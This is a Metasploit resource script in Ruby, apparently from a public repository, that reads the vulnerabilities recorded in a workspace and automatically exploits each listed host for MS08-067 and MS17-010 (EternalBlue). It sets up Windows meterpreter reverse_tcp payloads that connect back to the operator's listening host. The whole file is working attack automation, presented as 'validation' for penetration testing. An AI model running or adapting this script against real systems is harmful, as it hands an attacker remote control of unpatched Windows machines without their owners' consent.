157 lines
3.7 KiB
Plaintext
157 lines
3.7 KiB
Plaintext
<ruby>
|
|
|
|
#
|
|
# This resource script will attempt to exploit the following vulnerabilities:
|
|
#
|
|
# * MS08-067
|
|
# * MS17-010
|
|
#
|
|
# It works best if you can pair it with the smb_checks.rc script.
|
|
#
|
|
# Author:
|
|
# sinn3r
|
|
#
|
|
|
|
@job_ids = []
|
|
|
|
def wait_until_jobs_done
|
|
while true
|
|
@job_ids.each do |job_id|
|
|
current_job_ids = framework.jobs.keys.map { |e| e.to_i }
|
|
sleep 1 if current_job_ids.include?(job_id)
|
|
end
|
|
|
|
return
|
|
end
|
|
end
|
|
|
|
def ms08_067_netapi_mod
|
|
framework.exploits.create('windows/smb/ms08_067_netapi')
|
|
end
|
|
|
|
def ms17_010_mod
|
|
framework.exploits.create('windows/smb/ms17_010_eternalblue')
|
|
end
|
|
|
|
def is_port_open?(port)
|
|
begin
|
|
sock = Socket.new(Socket::Constants::AF_INET, Socket::Constants::SOCK_STREAM, 0)
|
|
sock.bind(Socket.pack_sockaddr_in(port, get_lhost))
|
|
rescue
|
|
return false
|
|
ensure
|
|
sock.close if sock && sock.kind_of?(Socket)
|
|
end
|
|
|
|
true
|
|
end
|
|
|
|
def get_x86_meterpreter_port
|
|
port_range = (4000..65535)
|
|
port_range.each do |port|
|
|
return port if is_port_open?(port)
|
|
end
|
|
|
|
raise RuntimeError, 'Unable to find a meterpreter port'
|
|
end
|
|
|
|
def get_x64_meterpreter_port
|
|
port_range = (3000..65535)
|
|
port_range.each do |port|
|
|
return port if is_port_open?(port)
|
|
end
|
|
|
|
raise RuntimeError, 'Unable to find a meterpreter port'
|
|
end
|
|
|
|
def get_x86_payload_name
|
|
'windows/meterpreter/reverse_tcp'
|
|
end
|
|
|
|
def get_x64_payload_name
|
|
'windows/x64/meterpreter/reverse_tcp'
|
|
end
|
|
|
|
def get_lhost
|
|
framework.datastore['LHOST']
|
|
end
|
|
|
|
def validate_ms08_067(vuln)
|
|
mod = ms08_067_netapi_mod
|
|
mod.datastore['RHOST'] = vuln.host.address
|
|
mod.datastore['RPORT'] = vuln.service ? vuln.service.port : 445
|
|
mod.datastore['PAYLOAD'] = get_x86_payload_name
|
|
mod.datastore['LHOST'] = get_lhost
|
|
mod.datastore['LPORT'] = get_x86_meterpreter_port
|
|
print_status("Validating MS08-067 on #{mod.datastore['RHOST']}:#{mod.datastore['RPORT']} with #{mod.datastore['PAYLOAD']} on port #{mod.datastore['LPORT']}")
|
|
begin
|
|
mod.exploit_simple({
|
|
'LocalOutput' => self.output,
|
|
'RunAsJob' => true,
|
|
'Payload' => get_x86_payload_name
|
|
})
|
|
@job_ids << mod.job_id
|
|
rescue ::Exception => e
|
|
print_error(e.message)
|
|
end
|
|
end
|
|
|
|
def validate_ms17_010(vuln)
|
|
mod = ms17_010_mod
|
|
mod.datastore['RHOST'] = vuln.host.address
|
|
mod.datastore['RPORT'] = vuln.service ? vuln.service.port : 445
|
|
mod.datastore['PAYLOAD'] = get_x64_payload_name
|
|
mod.datastore['LHOST'] = get_lhost
|
|
mod.datastore['LPORT'] = get_x64_meterpreter_port
|
|
print_status("Validating MS17-010 on #{mod.datastore['RHOST']}:#{mod.datastore['RPORT']} with #{mod.datastore['PAYLOAD']} on port #{mod.datastore['LPORT']}")
|
|
begin
|
|
mod.exploit_simple({
|
|
'LocalOutput' => self.output,
|
|
'RunAsJob' => true,
|
|
'Payload' => get_x64_payload_name
|
|
})
|
|
@job_ids << mod.job_id
|
|
rescue ::Exception => e
|
|
print_error(e.message)
|
|
end
|
|
end
|
|
|
|
def is_smb?(host, serv)
|
|
return false unless serv.host
|
|
return false if serv.state != Msf::ServiceState::Open
|
|
return false if serv.port != 445
|
|
true
|
|
end
|
|
|
|
def do_validation
|
|
framework.db.workspace.vulns.each do |vuln|
|
|
case vuln.name
|
|
when /MS17\-010/i
|
|
validate_ms17_010(vuln)
|
|
when /MS08\-067/i
|
|
validate_ms08_067(vuln)
|
|
end
|
|
end
|
|
end
|
|
|
|
def setup
|
|
run_single("setg verbose true")
|
|
end
|
|
|
|
def main
|
|
if framework.datastore['LHOST']
|
|
print_status('Performing validation...')
|
|
begin
|
|
do_validation
|
|
wait_until_jobs_done
|
|
rescue RuntimeError => e
|
|
print_error(e.message)
|
|
print_error("Unable to do validation")
|
|
end
|
|
end
|
|
end
|
|
|
|
setup
|
|
main
|
|
|
|
</ruby> |